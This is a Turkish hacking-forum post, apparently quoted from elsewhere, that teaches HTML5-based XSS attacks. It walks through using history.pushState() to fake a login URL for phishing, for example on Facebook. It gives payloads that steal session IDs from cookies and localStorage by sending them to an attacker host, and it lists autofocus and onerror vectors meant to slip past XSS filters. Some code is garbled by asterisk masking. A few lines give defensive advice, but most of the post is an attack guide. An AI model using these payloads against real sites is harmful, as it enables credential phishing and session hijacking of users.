HTML5 ile Yeni Nesil Xss

TheSayboort

Yeni üye
11 Eyl 2010
19
0
Konya
------ Alıntıdır ------
PushState() Kullanarak XSS

HTML5 ile gelen history.pushState(), bize gecmisimizi duzenleyebilme imkani sunuyor. AJAXwebsitelerinde kolayca gecmisi degistirerek URL’yi degistirmek icin kullanilmak uzere tasarlandi bu fonksiyon. PushState() ile kullanicilar adres cubugunda gozuken URL’yi dokumani yenilemedendegistirebiliyor. Bazilarinizin aklina bu asamada ilginc fikirler gelmistir tahminimce :)

Bu ozellik ile saldirgan bir kisi XSS kullanarak kurbanin bulundugu adresi degistirebilir. Asagidaki ornek linke tiklayin ve acigi kendiniz canli olarak gorebilirsiniz. Herzamanki gibi zararsizdir korkmayin :) Acik sadece HTML5 destekleyen yeni tarayicilarda calismaktadir. Ayrica Safari 5’te de pushState() fonksiyonu calisiyor fakat tarayicinin guvenlik onlemleri nedeniyle injection yapilamiyor.

Linki Firefox ya da Opera ile acmaniz gerekiyor cunku Google Chrome ve Internet Explorer’in XSS filtreleri izin vermiyor.

Linkimize gelelim:

Bu site acunetix sirketinin bizim gibi bugcularin aciklari denememiz icin olusturdugu bir sitedir.
PHP:
http://testasp.vulnweb.com/Search.asp?tfSearch=”>**********var  stateObj = { foo: “bar” }; history.pushState(stateObj, “page 2″,  “login.asp”);</script>
Linki acarken URL’ye dikkatlice bakin. Sayfanin degismeden URL’nin “login.asp” sayfasi seklindedegistigini goreceksiniz.

Kullandigimiz kod:

PHP:
“>**********history.pushState({foo:”bar”}, “Please Login”, “login.asp”);</script>

Yanlis anlasilmalari onlemek icin bir aciklama yapmam gerekiyor. Bu saldiri ile URL’nin tamamini farkli bir URL ile degil, ayni domain uzerinde farkli bir yol ile degistirebilirsiniz. Bu ne isimize yarar derseniz eger su sekilde asama asama anlatayim:

1. http://facebook.com/tht/dosya?q=XSS gibi bir linkte XSS oldugunu dusunelim.

2. Saldirgan kurbana gonderdigi pushState() iceren XSS linki ile kurbanin URL’sini facebook.com/login.php seklinde degistirir. Bu, tarayici login.php sayfasini acmadigi halde adres cubugunun facebook.com/login.php gibi gorunmesini saglar.

3. Kurban linke tiklar ve icerigi gorebilmesi icin oturum acmasi gerektigini dusunur. Kurbanimiz fake facebook sayfalarindan haberdar oldugu icin hemen sayfanin kaynak kodlarina bakar fakat zararli hicbirseybulamaz cunku saldirganin URL’sine degil facebook.com/login.php kaynak kodlarina bakmis olur.

4. Kurban rahatca giris yapabilecegini dusunup “Kullanici Adi” “Sifre”yi girer ve saldirgan oturumu calar.

Bu yontem ile “Phishing” saldirilarini basariyla gerceklesirebilirsiniz ve “Fake” olayina yepyeni bir bakis getirebilirsiniz.



Local Storage Kullanarak XSS

“LocalStorage” kullanici tarafli bir depolama mekanizmasidir ve JavaScript ile bu depolama sistemine erisilebilir. LocalStorage’in yarari ise cookie, flash nesneler gibi diger depolama seceneklerinden daha fazla alana sahip olmasidir. Buna ek olarak, cookielerin tam tersine veri tarayici tarafindan otomatik bir sekildeher bir istek ile birlikte gonderilmiyor.

Sistemi ozetle anladigimiza gore simdi bu depolama sisteminde olusan zaafiyete bakalim..

XSS Ile Cookie’den Session ID Calma Islemi
PHP:
******************.write(”<img src= “http://saldiringansitesi”>cookie=”+********.cookie+”’>”);</script>

XSS Ile LocalStorage Uzerinden Session ID Calma Islemi
PHP:
******************.write(”<img  src=  “http://attackersite”>cookie=”+localStorage.getItem(’foo’)+”’>”);</script>
LocalStorage Cookieler icin kullandigimiz “HTTPOnly” islemi ile calismaz ve bu yuzden de HTTPOnly aktif olan cookieleri JavaScript ile alamazken LocalStorage’deki degerleri alabiliriz.


LocalStorage Ile XSS
PHP:
**********alert(localStorage.getItem(’foo’))</script>

URL Scriptlet Ile LocalStorage Degeri Uretmek
PHP:
javascript:localStorage.setItem(’fooName’,’barValue’);

URL Scriptlet Ile LocalStorage Degeri Almak
PHP:
javascript*alert ZararliKod*localStorage.getItem(’fooName’));

JSON Ile URL scriptlet Yoluyla LocalStorage Degeri Uretmek
PHP:
javascript:localStorage.setItem(’fooName’, JSON.stringify(’data1:a,”data2″:b,data3:c’));
URL Scriptlet Yoluyla LocalStorage Sayisini Almak
PHP:
javascript*alert ZararliKod*localStorage.length);

Site Ile Iliskili Butun LocalStorage Verisini Silmek
PHP:
javascript:localStorage.clear()

LocalStorage Ve Guvenligi Ile Ilgili Bilmeniz Gerekenler

1. Oturum IDleri icin LocalStorage kullanmayin. HTTPOnly ve Secure flaglari ile Cookieleri kullanin.

2. Eger bir sekilde cookieleri kullanamiyorsaniz, kullanici tarayiciyi kapattiginda butun veriler silinecek sekilde ayarlamak uzere LocalStorage kullanin.

3. LocalStorage uzerindeki butun bilgiler saldirgan tarafindan degistirilip gorulebilecegi icin, bu depolama sisteminde cok onemli bilgiler saklamayin.



Diger Bazi HTML5 XSS Vektorleri

HTML5 ile sadece yukaridakiler degil daha bircok seyi yapmak mumkundur. Bazi XSS filtrelerini asmak icin asagida verecegim yeni HTML5 XSS vektorlerini kullanabilirsiniz.
PHP:
 <input autofocus onfocus=alert(”tht“)> 

<select autofocus onfocus=alert(”tht“)>

<textarea autofocus onfocus=alert(”tht“)>

<keygen autofocus onfocus=alert(”tht“)>

<input type=”text” AUTOFOCUS onfocus=alert(”tht“)>

<video src=1 onerror=alert(”tht“)>

<audio src=1 onerror=alert(”tht“)>
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.